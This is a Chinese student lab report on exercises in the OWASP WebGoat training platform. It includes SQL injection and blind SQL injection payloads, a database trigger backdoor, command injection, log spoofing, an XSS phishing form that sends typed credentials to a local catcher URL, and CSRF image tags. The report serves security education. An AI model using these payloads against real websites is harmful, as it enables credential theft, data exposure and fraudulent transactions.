20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

《网络对抗技术》Exp9 Web安全基础 Week13

一、实验目标与内容

  • 1.实践内容

    • (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
  • 2.一些问题

    • (1)SQL注入攻击原理,如何防御

    • 答:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。防御手段:不允许提交含有特殊字符的字符串,加密数据库中的内容等。

    • (2)XSS攻击的原理,如何防御

    • 答:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。防御手段:表单提交的时候检测特殊字符的存在;消除网站的XSS漏洞,网站开发者运用转义安全字符手段等。

    • (3)CSRF攻击的原理,如何防御

    • 答:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。对于每一个重要的post提交页面,都使用一个验证码。每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击。定期清理cookie,甚至不使用cookie

二、实验步骤

安装WebGoat

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 1、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载webgoat-container-7.0.1-war-exec.jar,放到kali中。

  • 2、在命令行输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,等待一小会后出现如下提示则运行成功。

  • 3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

  • 4、使用页面下端任意一个账号密码进行登录,可以看到如下页面:

  • 5、接下来就是在左侧选择各种选项进行相应的测试。

各种注入漏洞(Injection Flaws)

1、Command Injection(命令注入)

  • 简介:命令注入就是通过在要提交的文本框中输入一些命令,提交后这些命令被执行,从而达到一定的目的。

  • (1)首先可以看到页面中有一个复选框,里面有很多选项,它们都是合法的

  • (2)我们要做的是通过修改源代码,在其中一个选项的后面添加一些指令,通过选择修改后的选项,点击view达到效果。

  • (3)右击页面,选择inspect Element查看页面源代码进行修改,双击复选框中任意一栏的代码进行编辑,添加"& pwd"。

  • (4)在复选框中选择该项,点击view,发现添加的命令被成功执行,攻击成功。

2、Numeric SQL Injection(数字型注入)

  • 简介:通过在要提交的文本框中加入一些其他的逻辑条件,来在没有权限的情况下绕过权限的限制,得到更多的东西。

  • (1)首先在页面中我们可以看到这只是一个简单的天气查询,在复选框中选择一个城市,点击go后可以查看所选择的城市的天气。这里复选框中只有四个选项

  • (2)我们可以猜测,这里的数据库语句应该是在数据库中查找城市对应编号所在的行,然后输出天气。

  • (3)右击页面,选择inspect Element查看页面源代码进行修改,找到复选框代码所在位置后,双击对value="102"进行修改,在后面添加or 1=1

  • (4)选择该城市,点击go。发现所有城市的天气信息都被输出,其中还有两个是选项里没有的。攻击成功

3、Log Spoofing(日志欺骗)

  • 简介:在进行web攻击后,往往会在日志文件中留下自己的攻击痕迹。通过日志欺骗,可以伪造日志,消除或掩盖自己的攻击痕迹。

  • (1)在 username 中填入zwy%0d%0aLogin Succeeded for username: admin,其中%0d%0a是回车和换行符号的ASCII码,密码任意。点击登录,可以看到如下信息。

  • (2)这样看起来就好像是有一个账号admin登录了网页。但其实这是假的。攻击者可以利用这种方式向日志文件中添加恶意脚本。比如在用户名输入admin <script>alert(document.cookie)</script>并提交,那么管理员页面就会弹出一个cookies信息。

4、LAB: SQL Injection

  • 这里有4个步骤,但是Stage 2和Stage 4仅适用于WebGoat的开发版本

  • Stage 1: 字符串型注入

    • 目标是绕过登录。

    • (1)首先尝试选择管理员身份,密码输入' or '1' = '1。在密码输入的时候会发现这里设置了长度限制,' or '1' = '1占13个长度,而密码框限制了输入长度为8

    • (2)根据上面的经验可以判断出需要修改页面源代码。

    • (3)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,修改密码框的长度为13。

    • (4)再次在密码框输入' or '1' = '1,发现这回没有被限制。点击登录后弹出如下提示,攻击成功

  • Stage 3: 数字型 SQL 注入

    • 目标:使用员工Larry的身份,查看老板Neville的信息。

    • (1)先使用Stage 1的方法,绕过登录,查看Larry的信息。

    • (2)右键点击页面,选择inspect Element查看页面源代码,找到选项框中的信息Larry Stooge所在的代码位置。

    • (3)相关人员信息就是通过value中的值进行搜索的。通常来说老板的工资是最高的,工资字段一般都是salary,所以修改value为101 or 1=1 order by salary desc,点击ViewProfile,发现得到老板的信息,攻击成功。

5、String SQL Injection(字符串注入)

  • (1)这个网站可以查询用户的信用卡号码。这里较为简单,原理与上面的数字型注入相似。

  • (2)在用户名框输入' or 1=1--,点击go,获得所有用户的信用卡号码

6、Database Backdoors(数据库后门)

  • (1)目标:创建一个数据库后门。尝试在输入查询id的同时注入命令增加工资。

  • (2)什么是数据库后门?数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如增删改查。比如:攻击者可以创建一个触发器, 使得创建新用户时将每个新用户的工资增加10000。

  • (3)这个网站的作用是输入用户id,返回用户相应信息。输入```101``进行搜索,可以看到现在的工资是55000

  • (4)输入101; update employee set salary=66666修改工资为66666。

  • (3)输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid,完成攻击。

  • 注:CREATE TRIGGER myBackDoor是创建一个后门。BEFORE是在....之前。这条语句是在插入新的数据之前把新员工的工资项加10000后再放入数据库。

7、Blind Numeric SQL Injection(数字型盲注)

  • 简介:一般来说, SQL 注入是没有明确返回信息的,这时候的注入就叫做盲注。

  • 目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。

  • (1)该网站允许输入一个帐号,并检测该帐号是否合法。如果合法(存在),则提示有效,否则提示无效。比如:

  • (2)这里我们可以利用AND。这样一来当AND两边恒为真时,才会提示有效,否则提示无效。

  • (3)接下来就是利用数据库语句进行测试来找出pin的id。在文本框输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )。发现无效,说明≤5000。

  • (4)接下来通过不断地折半查找,得到pin为2364

8、Blind String SQL Injection(字符型盲注)

  • 目标:与7相似,不过这里的pin字段变成varchar。

  • (1)同样的,利用AND。首先输入101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)测试一下pin的长度。显示

  • (2)继续进行尝试,发现长度是4。

  • (3)接着输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )来不断对第n个字母进行确认。这里过程琐碎就不再列出。最后得到pin字段是Jill

跨站脚本攻击(XSS)

1、Phishing with XSS(使用 XSS 钓鱼)

  • 简介:原理:当用户输入非法 HTTP 响应时容易造成 XSS,jsp代码被执行。

  • (1)右击页面,选择inspect Element查看页面源代码。右击页面,选择inspect Element查看页面源代码进行修改,双击其中任意一个部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

  • (2)搜索这段代码,出现如下界面

  • (3)输入任意,点击提交

2、Stored XSS Attacks(存储型XSS攻击)

  • 简介:常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

  • (1)在title中任意输入字符,留言板中输入<script>alert("You've been attacked!!!");</script>,提交。

  • (2)提交后可以看见在下方出现了一个以title命名的链接,点击后执行刚刚的html语句,攻击成功

3、Reflected XSS Attacks(反射型XSS攻击)

  • 简介:攻击者使用攻击脚本创建一个URL,其访问另一个网站,通过各种方式来让受害者点击它。

  • (1)直接输入<script>alert("You've been attacked!!!");</script>,点击purse即可。

4、Cross Site Request Forgery (CSRF)(跨站请求伪造)

  • (1)简介:让受害者加载一个包含网页的图片的一种攻击手段。

跨站点请求伪造(csrf/xsrf)是一种攻击,诱骗受害者加载包含img链接的页面,如下所示:<img src=“https://www.mybank.com/me?”转账=5000&to=123456“/> 当受害者的浏览器试图呈现加载某个“图片”(实际上包含了对其他网站的请求)时,它将向www.mybank.com发出一个带有指定参数的TransferFunds.do页面请求。浏览器会认为链接是为了获取图像,即使它实际上是一个资金转移功能。该请求将包括与站点关联的所有cookie。因此,如果用户已经对站点进行了身份验证,并且拥有永久cookie,甚至当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,例如注销、购买物品或脆弱网站提供的任何其他功能。

  • (2)右侧Parameters中的src和menu值,分别为282和900

  • (3)标题任意,内容输入<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=4000" width="1" height="1" />,然后提交。

  • (4)可以看到下方出现一个连接,可以点。点击后触发CSRF事件,攻击成功

5、CSRF Prompt By‐Pass(绕过 CSRF 确认)

  • (1)实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令

  • (2)与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面。

  • (3)在title框中任意输入,message框中输入代码:```

``` ![](https://img2018.cnblogs.com/blog/1271410/201905/1271410-20190526231450522-696524337.png)

三、遇到的问题

  • 1、启动WebGoat并登录后左侧没有相应栏。
  • 解决方法:发现是因为jdk版本不匹配。下载1.8的jdk,设置好环境变量后解决了问题。参考https://www.jianshu.com/p/9ec7838411c8

四、心得体会

  • 通过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感觉虽然没有学得很深入,但是很好地拓宽了知识面。
posted @ 2019-05-26 21:29  刘璐瑾  阅读(156)  评论(0编辑  收藏  举报